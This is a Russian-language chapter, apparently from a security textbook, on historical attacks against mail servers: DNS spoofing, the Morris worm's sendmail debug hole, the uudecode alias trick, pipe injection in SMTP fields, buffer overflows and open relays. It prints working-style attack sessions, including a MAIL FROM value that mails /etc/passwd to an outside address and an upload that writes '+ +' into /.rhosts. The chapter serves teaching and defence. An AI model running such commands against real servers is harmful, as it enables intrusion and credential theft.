Атака на почтовый сервер

O В этой главе:

O Типы атак

O Перехват почтового трафика

O Червь Морриса

O Ошибка “uudecode”

O Ошибка неявной поддержки конвейера

O Угроза от спамеров

Почтовый сервис - один из древнейших ресурсов Internet, еще в семидесятых годах ставший как объектом, так и орудием атак злоумышленников. Десяток-другой лет назад почтовые сервера содержали огромное количество дыр, некоторые из которых остались открытыми и по сей день.

Существует несколько типов атак: атаки, основанные на ошибках реализации программного обеспечения (срыв стека, использование конвейера); атаки, основанные на неправильной конфигурации сервера и атаки, основанные на уязвимости сетевых протоколов (внедрение ложного DNS, перехват трафика).

Даже при условии отсутствия ошибок реализации правильно настроенный почтовый сервер может быть атакован, если не предпринять особых мер предосторожности, о которых осведомлен далеко не каждый администратор.

Например, пусть Алиса отправляет Бобу письмо, а Ева хочет его перехватить. Процесс пересылки письма выглядит так: почтовый сервер Алисы (скажем, aserver.com) смотрит на адрес получателя (скажем, bob@bserver.com) и обращается к «знакомому» DNS-серверу с просьбой определить IP-адрес сервера “bserver.com”. Получив ответ, он устанавливает с сервером получателя SMTP-соединение и передает ему послание. Если Ева знает адреса серверов Алисы и Боба [224], она сможет сфальсифицировать ответ DNS-сервера и сообщить адрес своего собственного сервера, а не bserver.com!

В большинстве случаев протокол DNS реализован поверх UDP-протокола, а протокол UDP работает без установки соединения, принимая пакеты от кого бы то ни было на заданный порт. Для определения личности отправителя предусмотрен специальный идентификатор, который не известен злоумышленнику [225]. Идентификатор представляет собой 16-битовое значение, поэтому, послав всего лишь 2¹⁶ пакетов, Ева может быть уверена, что один из них жертва воспримет как ответ от настоящего DNS. А если идентификатор не абсолютно случайное число (как это часто и случается), то количество требуемых попыток существенно уменьшается.

Обсуждение перехвата трафика путем подобного «подмятия» DNS-сервера - тема отдельного разговора, выходящая за рамки рассказа об уязвимости почтовых соединений. Позже она будет детально рассмотрена в главе «Атака на DNS сервер» [226], здесь же достаточно заметить - если в e-mail адресе не указан IP (т.е. например, kpnc@195.161.42.222), а получатель не находится на том же сервере, что и отправитель, то перехват такого сообщения в принципе возможен.

Анализ почты позволяет злоумышленнику почерпнуть множество информации, облегчающей дальнейшее проникновение в систему, и расширяет границы социальной инженерии. Кроме того, в корпоративной (да и не только) переписке часто содержатся сведения и документы, представляющие огромный интерес для конкурентов и промышленно-финансовых шпионов всех мастей. Единственный выход - шифровать всю конфиденциальную корреспонденцию утилитами, наподобие PGP.

Впрочем, атаки, направленные на перехват переписки, не получили большого распространения. Намного чаще злоумышленники пытаются овладеть удаленной машиной, и почтовый сервер одно из возможных средств для достижения такой цели. Сложность и запутанность почтового программного обеспечения затрудняют его тестирование, а оставленные ошибки могут представлять лазейку для злоумышленника.

Первый громкий прецедент произошел осенью 1988 года, когда по сети расползся червь Морриса. Один из способов распространения заключался в использовании отладочного режима в программе SendMail. Отладочный режим служил для удаленного управления почтовым демоном и позволял выполнить команды, передаваемые в теле письма. Остальное, как говорится, было делом техники. Вирус посылал «затравку» на языке Си с указанием откомпилировать ее и запустить. «Затравка» стирала заголовки почты, способные пролить свет на ее происхождение, и, связавшись с отправителем, «перетягивала» на сервер все остальные модули червя.

Ниже приводится фрагмент кода вируса (с небольшими сокращениями), демонстрирующий как он использовал отладочный режим (жирным цветом выделены строки, передаваемые им на сервер по SMTP-соединению).

· send_text(s, "debug");

·…

· #define MAIL_FROM "mail from:«/dev/null»\n"

· #define MAIL_RCPT "rcpt to:«\"| sed \'1,/^$/d\' | /bin/sh; exit 0\"»\n"

·…

· send_text(s, MAIL_FROM);

· i = (random() amp; 0x00FFFFFF);

· sprintf(l548,MAIL_RCPT, i, i);

· send_text(s, l548);

Вскоре после атаки лаз был закрыт, но червь Морриса послужил наглядным доказательством принципиальной возможности атак и стал хорошим стимулом к поиску других, еще никем не обнаруженных ошибок. В том, что они существуют, - никто не сомневался. Так оно и получилось.

Некто (имени которого история не сохранила) обратил внимание, что у многих почтовых серверов в файле «/etc/aliases» содержится строка приблизительного следующего содержания: «decode: |/usr/bin/uudecode». Если послать на такой сервер письмо, адресованное получателю «decode», оно попадает в руки программы “uudecode”, предназначенной для распаковки UUE-сообщений.

Необходимость передавать двоичные файлы через почтовые системы, не допускающие использование символов с кодами менее 32 и более 127, привела к появлению UUE кодировки. Идея, лежащая в ее основе, заключается в следующем: три байта (24 бита) разбиваются на четыре шестибитовых «осколка», каждый из которых суммируется с кодом пробела (0х20), образуя транспортабельный текст.

Таким образом, закодированный текст состоит из следующих символов (и только из них): `!"#$% amp;'()*+,-./012356789:;«=»?@ABC…XYZ[\]^_, каждый из которых может быть передан по любым телекоммуникационным каналам, в том числе и семибитовым.

Получатель проделывает на свой стороне обратный процесс, - из каждого символа вычитает код пробела, и из каждых четырех «осколков» закодированного текста собирает по три байта оригинального послания.

Типичное UUE-сообщение выглядит приблизительно так (все необязательные поля для упрощения понимания опущены):

· begin 644 filename
· =D»JEJR"AKJ'@H"`M(. amp;OH.$@I*7@I:*N(0T``0(`
· `
· end

Слово “filename”, стоящее в заголовке, обозначает ни что иное, как имя файла, в который отправитель предлагает записать раскодированный текст. Большинство расшифровщиков не проверяют наличие файла на существование и затирают его содержимое без запроса подтверждения пользователя.

Если демон SendMail обладает наивысшими привилегиями (а так чаще всего и бывает), программа uudecode наследует их при запуске. Следовательно, существует возможность перезаписать любой файл в системе.

Например, злоумышленник может внести в файл “.rhosts” строку вида «+ +». В файле “.rhosts” содержится перечень адресов доверительных узлов и имен пользователей, которым с этих самых узлов разрешен вход на сервер без предъявления пароля. А комбинация «+ +» открывает свободный доступ всем пользователям со всех узлов сети.

Атака может выглядеть приблизительно так (символ “;” обозначает строку комментариев):

·; Создание файла, содержащего строку “+ +”
· cat» tmp
· + +
· ^C
· ; uue-кодирование, с указанием раскодировать этот файл в /.rhosts
· % uuencode tmp /.rhosts
· begin 644 /.rhosts
· $*R`K"@``
· `
· end
· ; Соединение с сервером жертвы по 25 порту для передачи сообщения
· telnet 127.0.0.1 25
·; Соединение установлено сервер вернул приглашение
· 220 kpnc.krintel.ru SimpleSMTP 1.0 Sun, 26 Mar 2000 16:42:49 +0400
· ; Чествование сервера
· helo kpnc
· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]
· ; Указание адреса отправителя
· mail from: kpnc@kpnc.krintel.ru
· 250 kpnc Sender ok
·; Указание псевдонима ‘decode’ в качестве имени получателя
· rcpt to: decode
· 250 decode Recipient ok
·; Ввод закодированного сообщения в теле письма
· data
· 354 Enter mail, end with "." on a line by itself
· begin 644 /.rhosts
· $*R`K"@``
· `
· end
·.
· 250 Ok
·; Выход
· quit
· 221 kpnc.krintel.ru closing connection

Теперь злоумышленник (и не только он - любой пользователь с любого узла) сможет зайти на сервер и, в лучшем случае, оставить администратору свое graffiti (автограф, то есть) на видном месте. В худшем же…

Эта ошибка в тех или иных вариациях встречается и сегодня. Многие программы-декодеры (например, распаковщики) допускают указание абсолютных путей [227]. Защита файла от перезаписи (в тех случаях, когда она есть) не панацея - злоумышленник может создать новый файл, поместив его, например, в такую папку как «Автозагрузка». Рано или поздно система запустит его, и код злоумышленника получит управление.

Другая возможность выполнить код на удаленном сервере заключается в неявной поддержке конвейера в полях “MAIL FROM” и “RCPT TO”. Часто даже сами разработчики не подозревают о такой уязвимости, поскольку она не всегда очевидна. Например, команда “open” языка Perl может не только открывать файл, но и запускать его, если в имени присутствует символ “|”, обозначающий вызов конвейера.

Подобные попытки самостоятельной интерпретации передаваемых функции параметров встречаются достаточно часто. Особенно они характерны для UNIX-систем, где конвейер является одним из самых популярных средств межпроцессорного взаимодействия. Это действительно очень удобный прием, но далеко не всегда должным образом отмеченный в сопроводительной документации.

Разработчики, использующие в свой программе библиотеки сторонних поставщиков, не всегда проверяют, как поведет себя та или иная функция, обнаружив символ конвейера, особенно если об этом ничего не написано в документации. Похожая проблема возникает и при разработке совместных проектов: один разработчик не может знать всех тонкостей функционирования модулей другого разработчика, а в результате такой нестыковки полученная программа может неявным образом поддерживать конвейер.

Например, популярный почтовый демон SendMail вплоть до версии 5.5 [228] включительно содержал множество ошибок, одна из которых продемонстрирована ниже (знаком “;” обозначены комментарии):

· ; Соединение с сервером жертвы по 25 порту для передачи сообщения
· telnet kpnc.krintel.ru 25
· 220 target.com Sendmail 5.55 ready at Sun, 26 Mar 2000 16:51:12
· ; Чествование сервера
· helo kpnc
· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]
·; Использование конвейера в поле MAIL FROM. Следующая команда пересылает содержимое файла паролей по
· требуемому адресу
· mail from: "|/bin/mail kpnc@hotmail.com «/etc/passwd"
· 250 "|/bin/mail kpnc@hotmail.com «/etc/passwd"… Sender ok
·; Задание заведомо неверного получателя
· rcpt to: user12345
· 550 user12345… User unknown
· ; Игнорирование ответа сервера и попытка ввода тела сообщения
· data
· 354 Enter mail, end with "." on a line by itself
· ; Содержание сообщения значения не имеет
·.
· 250 Mail accepted
· ; Выход
· quit

Ошибка проявлялась только в том случае, когда команда “DATA” использовалась после задания несуществующего получателя в поле “RCPT TO”. С точки зрения нормального человека такое сочетание не имеет никакого смысла, поэтому разработчикам и в голову не приходило протестировать его. Ошибки подобного типа очень сложно обнаружить как самим разработчикам, так и злоумышленникам. Но злоумышленники часто имеют неограниченное время для бесконечных экспериментов и самых причудливых манипуляций, которые рано или поздно приносят плоды.

Точно так, многие почтовые серверы оказываются уязвимы перед тривиальным срывом стека. Например, в феврале 2000 года, в SMTP сервере MMDF версии 2.44a-B4, работающего под управлением SCO-UNIX обнаружилась ошибка переполнением буфера в полях “MAIL FROM” и “RPPT TO”, позволяющая злоумышленнику выполнить любой код под привилегией root.

А несколькими месяцами ранее - в ноябре 1999 года, ошибка переполнения была обнаружена в POP3\SMTP сервере ZetaMail версии 2.1. Пароль, передаваемый командой “PASS”, помещался в буфер фиксированного размера, и слишком длинная строка вылезала за его границы.

В том же ноябре 1999 появилось сообщение о наличие аналогичной уязвимости в версиях 3.2x SMTP-шлюза Interscan VirusWall, работающего под управлением Windows NT. На этот раз переполнение буфера происходило во время приветствия сервера командой “HELO” (если это приветствие оказывалось через чур многословным).

«От добра добра не ищут» говорит народная мудрость. Программное обеспечение, предназначенное для защиты от вирусов с оптимистичным названием «Вирусная преграда [229]», оказалось способным принести своим обладателям значительно больший ущерб, чем тот, что доставляет типичный вирус.

Бездумная установка средств защиты приводит не к усилению, а ослаблению безопасности компьютера. Чем больше программного обеспечения установлено на сервере, тем выше риск существования ошибок, способных позволить злоумышленнику проникнуть в систему.

Примерно в то же самое время обнаружилась уязвимость IMAIL POP3-сервера. Версии 5.07, 5.05 и 5.06 не контролировали длину имени пользователя, передаваемую командой “USER”. Такую же участь разделил Avirt Mail Server (версии 3.3a, 3.5). Сообщение о возможности переполнении буфера командой “PASS”, появилось в начале ноября все того же 1999 года.

Ошибки сыплются как из Рога Изобилия, регулярно обнаруживаясь, по крайней мере, по десятку штук в месяц. А сколько еще существует не выявленных ошибок вообще невозможно представить! Поэтому, любая уверенность администратора в защищенности его узла несколько наивна.

Но настоящей чумой почтовых серверов становятся не злобные взломщики, а вездесущие спамеры. Рассылая письма по десяткам (а порой и сотням) тысяч адресов, они плотно загружают сервер интенсивной работой. Поскольку, все отправляемые письма обрабатываются в порядке «социалистической очереди», пока эта очередь не опустеет (а спамеры создают очень длинную очередь) отправка корреспонденции остальными пользователями становится невозможна. Весьма вероятно, что сервер, не выдержав такой сумасшедшей нагрузки, повиснет.

Но настоящие неприятности начнутся, когда на администратора обрушится шквал негодования и обвинений в массовой рассылке. И весьма вероятно, что после этого инцидента администраторы других серверов, занесут адрес сервера пострадавшего администратора в «черный список», запрещая прием писем с указанного адреса. Вслед за этим начнут негодовать и пользователи пострадавшего администратора, поскольку отправка почты на большинство узлов станет невозможной.

Избежать такой печальной перспективы можно правильной настойкой сервера. Достаточно запретить отправку писем от нелокальных пользователей по нелокальным адресам или выполнять аутентификацию пользователя перед отправкой сообщения. Большинство существующих на сегодняшний день защит грамотный злоумышленник сможет обойти (проникнуть на сервер, используя другие лазы и изменить конфигурацию; проникнуть на один из компьютеров локальных пользователей и внедрить в него программу, рассылающую письма; наконец, самые опытные смогут фальсифицировать IP-адрес и выдать себя за локальных пользователей). Но подавляющее большинство спамеров не обладают надлежащей квалификацией, а те, кто ей обладают, как правило, не занимаются рассылкой. Поэтому, даже самые примитивные заслоны остановят спамера, который не атакует какой-то один конкретный узел, а ищет общедоступный сервер, открытый для массовой рассылки.